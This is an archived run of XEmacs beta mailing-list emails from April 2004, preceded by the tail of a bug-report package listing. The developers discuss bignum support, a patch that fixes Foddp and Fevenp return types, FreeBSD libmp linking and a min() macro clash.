4.21) (psgml ver: 1.42 upstream: 1.3.1) (ps-print-nomule ver: 1.05 upstream: regular) (ps-print ver: 1.09 upstream: 6.5.6) (prog-modes ver: 1.94 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (pcl-cvs ver: 1.65 upstream: R-2_9_9) (pc ver: 1.26 upstream: No-Upstream-Ver) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (net-utils ver: 1.38 upstream: N/A) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mine ver: 1.16 upstream: 1.9) (mh-e ver: 1.28 upstream: 7.4.2) (mew ver: 1.18 upstream: 1.94.2) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (jde ver: 1.46 upstream: regular) (ispell ver: 1.29 upstream: 3.6) (ilisp ver: 1.33 upstream: 5.12.0) (igrep ver: 1.12 upstream: 2.95) (idlwave ver: 1.31 upstream: 5.1) (ibuffer ver: 1.09 upstream: No-Upstream-Ver) (hm--html-menus ver: 1.23 upstream: 5.9) (gnus ver: 1.79 upstream: 5.10.6) (gnats ver: 1.16 upstream: 3.101) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (games ver: 1.15 upstream: 1.04) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (frame-icon ver: 1.11 upstream: No-Upstream-Ver) (forms ver: 1.15 upstream: 2.37) (footnote ver: 1.16 upstream: 0.18x) (eudc ver: 1.39 upstream: 1.32) (eterm ver: 1.15 upstream: No-Upstream-Ver) (eshell ver: 1.06 upstream: 2.4.1) (erc ver: 0.05 upstream: Version 4.0 Revision: 1.608) (emerge ver: 1.11 upstream: No-Upstream-Ver) (elib ver: 1.11 upstream: 1.0) (eieio ver: 1.05 upstream: 0.17) (efs ver: 1.32 upstream: 1.22) (edt ver: 1.13 upstream: No-Upstream-Ver) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.49 upstream: 2.75) (edebug ver: 1.2 upstream: No-Upstream-Ver) (ecrypto ver: 0.16 upstream: 2.0) (ecb ver: 1.14 upstream: 2.11) (dired ver: 1.15 upstream: 7.11) (debug ver: 1.17 upstream: No-Upstream-Ver) (crisp ver: 1.14 upstream: 1.34) (cookie ver: 1.15 upstream: No-Upstream-Ver) (clearcase ver: 1.08 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.19 upstream: No-Upstream-Ver) (build ver: 1.14 upstream: 2.02) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (apel ver: 1.27 upstream: 10.2) (ada ver: 1.14 upstream: 2.27) (Sun ver: 1.15 upstream: No-Upstream-Ver) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 ecb-layout-defs cus-edit cus-load semantic-c cc-mode cc-fonts cc-menus cc-cmds cc-styles cc-align cc-engine cc-vars cc-defs regexp-opt efs-cu font disp-table paren blink-paren font-lock pending-del func-menu ecb edmacro ecb-winman-support ecb-autogen autoload ecb-tod ecb-cycle ecb-eshell ecb-help ecb-jde efc ecb-method-browser semantic-load semantic-ia-sb semantic-analyze semantic-ctxt semantic-cb eieio-base eieio-speedbar eieio-custom wid-edit ecb-file-browser ecb-layout compile ecb-create-layout ecb-compilation ecb-speedbar ecb-semantic-wrapper ecb-navigate ecb-mode-line ecb-face tree-buffer overlay speedbar sb-image dframe eieio semantic-util-modes timer cus-face semantic-util semantic assoc working ecb-upgrade ecb-util advice advice-preload zenirc-autoloads xslt-process-autoloads xemacs-devel-autoloads xemacs-base-autoloads w3-autoloads vm-autoloads viper-autoloads view-process-autoloads vhdl-autoloads vc-cc-autoloads vc-autoloads tpu-autoloads tooltalk-autoloads tm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads supercite-autoloads strokes-autoloads speedbar-autoloads sounds-wav-autoloads sounds-au-autoloads slider-autoloads sh-script-autoloads sgml-autoloads semantic-autoloads scheme-autoloads rmail-autoloads reftex-autoloads psgml-autoloads ps-print-nomule-autoloads ps-print-autoloads prog-modes-autoloads pcomplete-autoloads pcl-cvs-autoloads pc-autoloads os-utils-autoloads net-utils-autoloads misc-games-autoloads mine-autoloads mh-e-autoloads mew-autoloads mail-lib-autoloads jde-autoloads ispell-autoloads ilisp-autoloads igrep-autoloads idlwave-autoloads ibuffer-autoloads hm--html-menus-autoloads gnus-autoloads gnats-autoloads general-docs-autoloads games-autoloads fsf-compat-autoloads frame-icon-autoloads forms-autoloads footnote-autoloads eudc-autoloads eterm-autoloads eshell-autoloads erc-autoloads emerge-autoloads elib-autoloads eieio-autoloads efs-autoloads edt-autoloads edit-utils-autoloads ediff-autoloads edebug-autoloads ecrypto-autoloads ecb-autoloads dired-autoloads debug-autoloads crisp-autoloads cookie-autoloads clearcase-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads build-autoloads bbdb-autoloads auctex-autoloads apel-autoloads ada-autoloads Sun-autoloads lisp-autoloads loadhist auto-show fontl-hooks x-iso8859-1 gutter-items menubar-items x-menubar mode-motion mouse itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete help-nomule cus-file derived frame text-props obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote very-early-lisp tooltalk lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar native-sound scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar dbm md5 xemacs gutter tiff png gif jpeg xpm xbm lisp-float-type usg-unix-v dialog devices window-system base64) Recent keystrokes: ----------------- misc-user misc-user button1 button1up C-s d i f f C-s C-s C-s C-r C-s C-s C-s C-s C-s C-s C-s C-s C-s C-s C-r button1 button1up misc-user misc-user button2 button2up misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user misc-user Recent messages (most recent first): ----------------------------------- Parsing /home/jgillen/.mailrc... Loading xemacsbug...done Loading xemacsbug... mmidiff__mxg.c: [###########################################################################################] ... done Loading /home/jgillen/.ecb-tip-of-day.el...done Loading /home/jgillen/.ecb-tip-of-day.el... There are no incompatible or renamed options! The ECB is now activated. Loading /home/jgillen/.ecb-user-layouts.el...done mmirfe__mxg.c: [#########################################################################] ... done Loading /home/jgillen/.ecb-user-layouts.el... Loading customization dependencies...done Loading customization dependencies... ad-handle-definition: `widen' got redefined ad-handle-definition: `narrow-to-region' got redefined Loading semantic-c...done Loading semantic-c... Loading cc-mode...done Loading cc-mode... Loading efs-cu...done From xemacs-beta-admin@xemacs.org Wed Apr 7 09:52:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Dq1s10521; Wed, 7 Apr 2004 09:52:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Dpde10459 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 09:51:39 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Dpcl10437 for turnbull@tux.org; Wed, 7 Apr 2004 09:51:38 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37DpZs10424; Wed, 7 Apr 2004 09:51:36 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBDSd-0001aw-00; Wed, 07 Apr 2004 22:51:23 +0900 To: robert delius royar Cc: Jerry James , XEmacs Beta List Subject: Re: [AC21.5] New BIGNUM and union datatype References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 22:51:23 +0900 In-Reply-To: (robert delius royar's message of "Wed, 7 Apr 2004 06:06:44 -0400 (EDT)") Message-ID: <87d66jgalg.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "robert" == robert delius royar writes: robert> Here are the offending functions: Thank you very much, Robert! After we put Jerry to bed with a prescription for intravenous injection of Folger's Freezedried in the morning:-), I think we can deal with this. ------------------------------------------------------------------------ DEFUN ("odd", Foddp, 1, 1, 0, /* Return t if INTEGER is odd, nil otherwise. */ (integer)) { CONCHECK_INTEGER (integer); return BIGNUMP (integer) ? bignum_oddp (XBIGNUM_DATA (integer)) : XTYPE (integer) == Lisp_Type_Int_Odd; } ------------------------------------------------------------------------ robert> I am out of my element here but trying to use casts just robert> to see what causes the error, leads to an odd compiler robert> error, based on how the types are defined. Example (Lisp_Object)make_int((XTYPE (integer) == Lisp_Type_Int_Odd)); number.c:140: error: type mismatch in conditional expression Foddp is supposed to return a Lisp_Object. Right. What you're missing is that bignum_oddp returns an integer, and that is what the compiler is complaining about. Also, note that (XTYPE (integer) == Lisp_Type_Int_Odd) is a _condition_; the _conditional expression_ is (BIGNUMP ? bignum_oddp : XTYPE == Int_Odd). I'm pretty sure that rephrasing to DEFUN ("odd", Foddp, 1, 1, 0, /* Return t if INTEGER is odd, nil otherwise. */ (integer)) { CONCHECK_INTEGER (integer); return (BIGNUMP (integer) ? bignum_oddp (XBIGNUM_DATA (integer)) : XTYPE (integer) == Lisp_Type_Int_Odd) ? Qt : Qnil; } wins. I need to figure out why this didn't blow up in _my_ face, though. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 10:17:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37EH2s16953; Wed, 7 Apr 2004 10:17:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37EGv016908 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 10:16:57 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37EGsP16892 for turnbull@tux.org; Wed, 7 Apr 2004 10:16:54 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37EGns16864; Wed, 7 Apr 2004 10:16:49 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBDrE-0001wB-00; Wed, 07 Apr 2004 23:16:48 +0900 To: Hrvoje Niksic Cc: Jerry James , XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 23:16:48 +0900 In-Reply-To: (Hrvoje Niksic's message of "Wed, 07 Apr 2004 11:23:26 +0200") Message-ID: <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> "Stephen J. Turnbull" writes: >> You should just treat a bignum as a blob of memory with an >> lrecord_header attached, or whatever, ie, an "opaque". Hrvoje> As long as we *know* that they don't contain pointers to Hrvoje> heap-allocated data, this is fine. Do we know that? Hmm ... apt-get update libgmp3-doc and ... oops, they are indirect, containing pointers to separately allocated memory, rather than being an immediate representation. So we'll have to treat them like strings rather than opaques, and I don't offhand see how to stuff the information back in them, but probably we just need to update the pointers properly. I know that Python at least and probably Perl have MP modules. I bet Python bignums have a pickle method, and if so they've already solved this problem. The usual licenses in those communities are upwardly compatible with GPL, so we could probably even steal code. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 10:35:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37EZ1s21659; Wed, 7 Apr 2004 10:35:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37EY7221482 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 10:34:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37EY5X21471 for turnbull@tux.org; Wed, 7 Apr 2004 10:34:05 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37EY4s21466 for ; Wed, 7 Apr 2004 10:34:05 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BBE4h-00024b-00; Wed, 07 Apr 2004 23:30:43 +0900 To: jlr_0@yahoo.com Cc: xemacs-beta@xemacs.org Subject: Re: Mistakes in TUTORIAL.fr References: <16499.49826.745365.301288@gargle.gargle.HOWL> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 07 Apr 2004 23:30:43 +0900 In-Reply-To: <16499.49826.745365.301288@gargle.gargle.HOWL> (jlr 0's message of "Wed, 7 Apr 2004 10:58:10 +0200") Message-ID: <874qrvg8rw.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "jlr" == jlr 0 writes: jlr> Unfortunately, in the french tutorial no ending period is jlr> followed by two spaces. Bummer. A patch would be very welcome. :-) If you do, we would also greatly appreciate a synch to GNU's current version, as it is more recent than ours. jlr> Could it be that the tutorial's translator did not even test jlr> the tutorial himself? Very likely. Seems to be true of the GNU Emacs version ca. 2003/07/08, too, but I can't get through to savannah so I can't say for sure about their current CVS. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Wed Apr 7 10:57:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Ev0s27027; Wed, 7 Apr 2004 10:57:00 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Et7H26639 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 10:55:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37Et6u26627 for turnbull@tux.org; Wed, 7 Apr 2004 10:55:06 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Et5s26620; Wed, 7 Apr 2004 10:55:05 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i37EshDu004023; Wed, 7 Apr 2004 09:54:43 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i37EshHS008395; Wed, 7 Apr 2004 09:54:43 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i37EshA7008393; Wed, 7 Apr 2004 09:54:43 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: robert delius royar , XEmacs Beta List Subject: [AC21.5] Fix Fevenp and Foddp References: <87d66jgalg.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Wed, 07 Apr 2004 09:54:43 -0500 In-Reply-To: <87d66jgalg.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 07 Apr 2004 22:51:23 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" wrote: >>>>>> "robert" == robert delius royar writes: > > robert> Here are the offending functions: > > Thank you very much, Robert! After we put Jerry to bed with a > prescription for intravenous injection of Folger's Freezedried in the > morning:-), I think we can deal with this. Oy, no kidding. Pass the Jolt Cola, please. > I'm pretty sure that rephrasing to > > DEFUN ("odd", Foddp, 1, 1, 0, /* > Return t if INTEGER is odd, nil otherwise. > */ > (integer)) > { > CONCHECK_INTEGER (integer); > return (BIGNUMP (integer) > ? bignum_oddp (XBIGNUM_DATA (integer)) >: XTYPE (integer) == Lisp_Type_Int_Odd) > ? Qt : Qnil; > } > > wins. I need to figure out why this didn't blow up in _my_ face, > though. Yes, that works for me. I'll take Hrvoje's advice to always build with --use-union-type as well, or at least to include one such build in my tests. Hmmmm, ICC segfaults when I do that. All right, my first ICC bug report! I'll commit this patch: Index: src/ChangeLog =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/ChangeLog,v retrieving revision 1.679 diff -d -u -r1.679 ChangeLog --- src/ChangeLog 2004/04/07 03:48:58 1.679 +++ src/ChangeLog 2004/04/07 14:52:52 @@ -1,3 +1,9 @@ +2004-04-07 Jerry James + + * number.c (Fevenp): Change the C boolean into Qnil/Qt. Thanks to + Robert Royar, Stephen Turnbull, and Hrvoje Niksic. + * number.c (Foddp): Ditto. + 2004-04-06 Jerry James * bytecode.c (bytecode_arithcompare): Provide a default case to Index: src/number.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/number.c,v retrieving revision 1.2 diff -d -u -r1.2 number.c --- src/number.c 2004/04/07 03:49:00 1.2 +++ src/number.c 2004/04/07 14:52:52 @@ -124,9 +124,9 @@ (integer)) { CONCHECK_INTEGER (integer); - return BIGNUMP (integer) - ? bignum_evenp (XBIGNUM_DATA (integer)) -: XTYPE (integer) == Lisp_Type_Int_Even; + return (BIGNUMP (integer) + ? bignum_evenp (XBIGNUM_DATA (integer)) + : XTYPE (integer) == Lisp_Type_Int_Even) ? Qt : Qnil; } DEFUN ("odd", Foddp, 1, 1, 0, /* @@ -135,9 +135,9 @@ (integer)) { CONCHECK_INTEGER (integer); - return BIGNUMP (integer) - ? bignum_oddp (XBIGNUM_DATA (integer)) -: XTYPE (integer) == Lisp_Type_Int_Odd; + return (BIGNUMP (integer) + ? bignum_oddp (XBIGNUM_DATA (integer)) + : XTYPE (integer) == Lisp_Type_Int_Odd) ? Qt : Qnil; } -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Wed Apr 7 10:59:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37Ex1s27540; Wed, 7 Apr 2004 10:59:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37EwK127397 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 10:58:20 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37EwJE27382 for turnbull@tux.org; Wed, 7 Apr 2004 10:58:19 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37EwHs27372; Wed, 7 Apr 2004 10:58:17 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i37EvrDu004338; Wed, 7 Apr 2004 09:57:53 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i37EvrHS008403; Wed, 7 Apr 2004 09:57:53 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i37Evrnp008401; Wed, 7 Apr 2004 09:57:53 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: "Stephen J. Turnbull" Cc: Hrvoje Niksic , XEmacs Beta Subject: Re: [S21.5] Add bignums to FAQ References: <87zn9pppq5.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh8mo7d.fsf@tleepslib.sk.tsukuba.ac.jp> <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Wed, 07 Apr 2004 09:57:53 -0500 In-Reply-To: <878yh7g9f3.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 07 Apr 2004 23:16:48 +0900") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" : >>>>>> "Hrvoje" == Hrvoje Niksic writes: > > Hrvoje> "Stephen J. Turnbull" writes: > > >> You should just treat a bignum as a blob of memory with an > >> lrecord_header attached, or whatever, ie, an "opaque". > > Hrvoje> As long as we *know* that they don't contain pointers to > Hrvoje> heap-allocated data, this is fine. Do we know that? > > Hmm ... apt-get update libgmp3-doc and ... oops, they are indirect, > containing pointers to separately allocated memory, rather than being > an immediate representation. So we'll have to treat them like strings > rather than opaques, and I don't offhand see how to stuff the > information back in them, but probably we just need to update the > pointers properly. Sorry for dropping out of the conversation last night guys. I could have told you that bignums (and ratios, and bigfloats) are pointers into the heap with both GNU MP and BSD MP. So is there some way to store them as strings, and reconstitute them from those strings later? > I know that Python at least and probably Perl have MP modules. I bet > Python bignums have a pickle method, and if so they've already solved > this problem. The usual licenses in those communities are upwardly > compatible with GPL, so we could probably even steal code. Sounds great, at least for someone who knows something about Python pickling, which isn't me. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Wed Apr 7 11:14:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37FE1s31178; Wed, 7 Apr 2004 11:14:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37FDMN31015 for xemacs-beta-mailman@xemacs.org; Wed, 7 Apr 2004 11:13:22 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i37FDK731003 for turnbull@tux.org; Wed, 7 Apr 2004 11:13:20 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i37FDKs30997 for ; Wed, 7 Apr 2004 11:13:20 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i37FD2Du005796; Wed, 7 Apr 2004 10:13:02 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i37FD2HS008432; Wed, 7 Apr 2004 10:13:02 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i37FD1jb008430; Wed, 7 Apr 2004 10:13:01 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Kaarthik Sivakumar Cc: XEmacs Beta Subject: Re: Bignums, libmp and FreeBSD References: <863c7g4d9t.fsf@comcast.net> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Wed, 07 Apr 2004 10:13:01 -0500 In-Reply-To: <863c7g4d9t.fsf@comcast.net> (Kaarthik Sivakumar's message of "Wed, 07 Apr 2004 00:34:22 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Kaarthik Sivakumar wrote: > On FreeBSD, atleast the version I am using, -lcrypto is also needed > for -lmp. A change to configure is needed, which I have put in this > mail near the end; these changes are most likely NOT the exact ones - > a check for FreeBSD might be necessary here, but I dont understand > configure scripting enough to get that done. Now that's just weird. I could see a dependency from lcrypto to lmp. Crypto functions routinely sling very large numbers around, after all. But a dependency the other way just doesn't make any sense to me at all. Nevertheless, we can try to cope. Note that the change should actually be done to configure.in, from which the configure script is produced by autoconf. > After these changes, I get: > > --- > checking for mp.h... yes > checking for mp_mfree in -lmp... no > checking for mfree in -lmp... yes > Prepending "-lmp -lcrypto" to $LIBS > checking for move... yes > Defining HAVE_MP_MOVE > Defining WITH_NUMBER_TYPES > Defining WITH_MP > Defining HAVE_UNIX_PROCESSES > --- > > which I think is good, right? That means it figured out how to link successfully, yes. Okay, so I should add magic to configure.in to try linking with both -lmp and -lcrypto if linking with just -lmp fails. > But that is not the end of the problems. > When I try to compile xemacs, I get the following error: [snip 'min' generated compiler errors] > There really is a function named min() in libmp, with a prototype in > mp.h and the function takes only one argument. This obviously > conflicts with a macro min defined in compiler.h. In number-mp.h, I > tried to do the trick that you do for pow(): > > --- > Index: number-mp.h > =================================================================== > RCS file: /pack/xemacscvs/XEmacs/xemacs/src/number-mp.h,v > retrieving revision 1.1 > diff -u -r1.1 number-mp.h > --- number-mp.h 2004/04/05 22:49:56 1.1 > +++ number-mp.h 2004/04/07 04:21:05 > @@ -34,8 +34,10 @@ > function anyway, so we do this for safety purposes. However, this means > that number-mp.h must always be included before math.h. */ > #define pow mp_pow > +#define min mp_min > #include > #undef pow > +#undef min > > #ifdef MP_PREFIX > #define MP_GCD mp_gcd > Exit 1 > --- > > but this causes warnings all over the place about min() being > redefined. I dont think this will work very well. Does it work to do this? #define pow mp_pow #undef min #define min mp_min #include #undef pow #undef min #define min(a,b) (((a) <= (b)) ? (a) : (b)) If not, I really don't know how to get around the problem. Is there any chance you could ask the FreeBSD people to prepend "mp_" before all of the MP function names, like the Solaris people did? Also note 